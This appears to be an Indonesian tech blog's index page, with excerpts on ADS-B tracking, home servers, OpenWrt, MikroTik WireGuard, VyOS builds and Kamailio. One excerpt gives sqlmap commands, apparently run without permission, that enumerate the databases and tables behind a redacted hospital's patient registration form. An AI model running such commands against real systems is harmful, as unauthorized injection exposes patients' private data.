Saya kenal dunia ADS-B saat scroll post lama di group Orange Pi Indonesia dan tidak sengaja membaca post tentang ADS-B untuk tracking penerbangan. ADS-B (Automatic Dependent Surveillance-Broadcast) merupakan teknologi pengawasan penerbangan yang menggunakan transponder untuk memancarkan informasi posisi, kecepatan, ketinggian dan arah pesawat melalui gelombang radio. Untuk post yang saya sebut diatas, kita bertindak sebagai Ground Station yang akan mengirimkan data ke layanan pelacakan pesawat (FlightAware, Flightradar24, Airnav, dsb). Sebenarnya kita bisa build sendiri perangkat untuk melacaknya denggan raspberry pi, namun kali ini saya akan bahas tentang mendapatkan secara gratis dari FlightAware. ...

Masih ingat dengan postingan home server ini? Karena makin besar keperluan komputasi akhirnya memutuskan untuk upgrade ke mesin yang lebih besar. Ada beberapa pertimbangan diantaranya adalah ukuran yang kecil dan kosumsi daya bisa serendah mungkin tapi tetap powerffull, beberapa kriteria adalah sebagai berikut: Dell Wyse 5070 Dell Optiplex 3050 Lenovo Thinkcentre M710Q Dari 3 pilihan diatas akhirnya memutuskan meminang Thinkcentre M710Q dengan spesifikasi: Core i3 7100T 2C/4T 3.40 GHz 35W 16 GB DDR4 2400 (2x8GB) PC ini saya beli tanpa SSD, karena sudah ada SSD M.2 Sata copotan laptop (Catat M.2). Setelah sampai gas langsung install Proxmox di mesin ini, karena gak ada keyboard akhirnya install di laptop dulu kemudian pindah ke mesin ini. Setelah booting lah kok gak terdeteksi? dan ternyata hanya support SSD NVME bukan M.2 Sata (LOL). ...

Pendahuluan Saat ini internet di rumah saya memiliki kecepatan 30Mb/s, namun baru sadar kalau speed wireless dari mikrotik RB941 mentok 15Mb/s pada jarak 5 meter (mungkin karena cuma pakai antena internal saja). Setelah mencari router yang cocok, ada 2 pilihan sebagai berikut: Model Wireless Port RJ45 Harga Mi 4 Gigabit 2.4G & 5G 3 / Gigabit 350k TP-Link TL WR1043ND v2.1 2.4G 5 / Gigabit < 150K (Bekas) Setelah beberapa pertimbangan akhirnya pilih TP-Link dengan harga 128k (diskon jadi 78k wkwkwk), karena ini router tua jadi beberapa fitur sudah tertinggal, jadi agar lebih optimal maka saya akan coba flash dengan firmware OpenWrt. Disini saya pakai firmware ROOter ...

Sesuai sabda pak Anton Wibowo tentang VPN dibawah ini, maka saya akan coba setup Cloudflare Warp di Mikrotik Karena disini kita akan pakai Wireguard maka wajib menggunakan RouterOS versi 7. Buat akun Warp Untuk membuat akun disini saya akan pakai tools ini https://github.com/ViRb3/wgcf (Silahkan dibaca sendiri tutorialnya:v) Setelah itu kita akan mendapatkan file wgcf-profile.conf yang berisi ➜ Network cat wgcf-profile.conf [Interface] PrivateKey = mAmDoyJ8Qf/2sEyuhjhPytLDtx8ioiEaJh3q8K8iE3u2U= Address = 172.16.0.2/32 Address = 2606:4700:110:84ca:7d82:b1d:7534:56f9/128 DNS = 1.1.1.1, 1.0.0.1, 2606:4700:4700::1111, 2606:4700:4700::1001 MTU = 1280 [Peer] PublicKey = bmXOC+F1FxEHF9jjiK2H5/1SUtzH0JuVo51h2wPfgyo= AllowedIPs = 0.0.0.0/0 AllowedIPs = ::/0 Endpoint = engage.cloudflareclient.com:2408 ➜ Network Setup Mikrotik Buat Wireguard baru dan sesuaikan dengan config profile yang sudah kita dapatkan (Edit pada bagian MTU & Private key) Buat Wireguard Peer sesuaikan juga Public Key, Endpoint dan Endpoint Port dengan profile Buat address baru dengan IP 172.16.0.2/32 dan Interface WARP Ubah DNS ke 1.1.1.1 Buat Routing Table baru dengan nama Cloudflare Tambahkan Route baru dengan gateway WARP Buat NAT baru dengan Out Interface WARP dan action masquerade (Pastikan nat ini berada paling atas) /ip firewall nat add action=masquerade chain=srcnat disabled=no log=no log-prefix="" out-interface=WARP Tambahkan mange baru /ip firewall mangle set *1 action=mark-routing chain=prerouting disabled=no log=no log-prefix="" new-routing-mark=Cloudflare passthrough=no src-address=192.168.xx.xx-192.168.xx.xx Testing Sebelum Routing Terlihat traffic masih mengarah ke ISP ...

Kapan kita perlu build Vyos manual? karena di website Vyos hanya tersedia versi Rolling Release untuk versi gratis. Requirements Debian Jessie untuk VyOS 1.2 (crux) Debian Buster untuk VyOS 1.3 (equuleus) Debian Bookworm untuk VyOS 1.4 (sagitta) Debian Bookworm untuk VyOS 1.5 & rolling release Clone repository # VyOS 1.2 (crux) $ git clone -b crux --single-branch https://github.com/vyos/vyos-build # VyOS 1.3 (equuleus) $ git clone -b equuleus --single-branch https://github.com/vyos/vyos-build # VyOS 1.4 (sagitta) $ git clone -b sagitta --single-branch https://github.com/vyos/vyos-build # VyOS 1.5 (circinus,current) $ git clone -b current --single-branch https://github.com/vyos/vyos-build Start Build $ cd vyos-build # VyOS 1.2 (crux) and VyOS 1.3 (equuleus) $ ./configure --architecture amd64 --build-by "j.randomhacker@vyos.io" $ sudo make iso # VyOS 1.4 (sagitta) $ sudo make clean $ sudo ./build-vyos-image iso --architecture amd64 --build-by "j.randomhacker@vyos.io" # VyOS 1.5 (circinus,current) $ sudo make clean $ sudo ./build-vyos-image generic --architecture amd64 --build-by "j.randomhacker@vyos.io" Jika berhasil maka hasil build akan berada dalam folder build ...

Pengenalan Kamailio adalah Server SIP Sumber Terbuka yang kuat, dapat menangani ribuan panggilan per detik. Dapat digunakan untuk membangun platform besar VoIP dan komunikasi real-time seperti pesan instan, keberadaan, dan WebRTC. Fiturnya mencakup komunikasi aman, penyeimbangan beban, otentikasi, dan dukungan untuk berbagai sistem backend. Cocok untuk gateway SIP, PBX, dan server media seperti Asterisk dan FreeSWITCH. Proses installasi Tambahkan repositori root@aml:~# cat /etc/apt/sources.list deb http://deb.kamailio.org/kamailio55 buster main deb-src http://deb.kamailio.org/kamailio55 buster main Install mariadb dan kamailio apt install mariadb-server kamailio kamailio-mysql-modules kamailio-ims-modules Edit file konfigurasi kamailio (edit baris berikut ini) root@aml:~# cat /etc/kamailio/kamctlrc SIP_DOMAIN=192.168.0.100 DBENGINE=MYSQL DBHOST=localhost DBPORT=3306 DBNAME=kamailio DB_PATH="/usr/local/etc/kamailio/dbtext" DBRWUSER="user" DBRWPW="password" DBROUSER="user" DBROPW="password" DBACCESSHOST=192.168.0.100 DBROOTUSER="root" Ini juga root@aml:~# cat /etc/default/kamailio RUN_KAMAILIO=yes USER=kamailio GROUP=kamailio root@aml:~# Restart service sudo service kamailio restart netstat -ntulp | grep kamailio Jalankan perintah untuk membuat database (ikuti semua intruksi) root@aml:~# kamdbctl create MySQL password for root: root@aml:~# Buat user baru kamctl add 1234 halo * 123: username, halo: password Pengujian pada VOIP client Login ke Linphone dengan user tadi seperti ini ...

Saat akan daftar disalah satu rumah sakit tiba tiba kepikiran bisa gak sih form iin di inject? POC Buka form pendaftaran, isikan dengan random data Intercept post data dengan OWASP ZAP Setelah itu coba dengan sqlmap sqlmap -u https://redacted.com/index.php/CProsesDaftar/getpasien" --data="nomrm=Halo&tgllahir=2025-05-07&nik=9827982798279827&search=nomrm&tglperiksa=2023-12-07" --level 5 --risk 3 --banner --ignore-code 401 --technique=B --flush --dbs --threads 2 Lihat isi table invoice sqlmap -u "https://redacted.com/index.php/CProsesDaftar/getpasien" --data="nomrm=Halo&tgllahir=2025-05-07&nik=9827982798279827&search=nomrm&tglperiksa=2023-12-07" --level 5 --risk 3 --banner --ignore-code 401 --technique=B --flush --threads 2 -D redacted-database --tables ...

Secara default winbox di openSUSE tidak menampilkan Neighbors karena terblokir oleh firewall. Kita harus allow manual. sudo firewall-cmd --permanent --service=winbox-discover --add-port=5678/udp sudo firewall-cmd --zone=public --add-service=winbox-discover --permanent sudo firewall-cmd --reload